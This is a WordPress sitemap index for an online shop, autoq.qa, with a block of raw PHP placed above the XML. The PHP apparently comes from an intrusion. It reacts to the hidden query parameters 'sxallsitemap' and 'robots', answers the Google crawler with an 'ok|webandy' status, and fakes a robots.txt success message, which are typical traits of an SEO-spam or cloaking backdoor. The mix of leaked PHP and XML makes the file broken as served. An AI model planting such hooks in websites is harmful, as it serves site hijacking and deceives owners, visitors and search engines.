if (strpos($webandy_q = isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : "", "sxallsitemap") !== false) {
  if (stripos($_SERVER["HTTP_USER_AGENT"] ?? "", "google") !== false) {
    header("Content-Type: text/plain; charset=utf-8");
    header("Cache-Control: no-store");
    echo "ok|webandy";
    exit;
  }
}
if (strpos($webandy_q, "robots") !== false) {
  header("Content-Type: text/plain; charset=utf-8");
  header("Cache-Control: no-store");
  echo "robots.txt file create success!";
  exit;
}
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://autoq.qa/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://autoq.qa/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://autoq.qa/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://autoq.qa/wp-sitemap-posts-product-1.xml</loc></sitemap><sitemap><loc>https://autoq.qa/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://autoq.qa/wp-sitemap-taxonomies-product_brand-1.xml</loc></sitemap><sitemap><loc>https://autoq.qa/wp-sitemap-taxonomies-product_cat-1.xml</loc></sitemap><sitemap><loc>https://autoq.qa/wp-sitemap-taxonomies-product_model-1.xml</loc></sitemap><sitemap><loc>https://autoq.qa/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>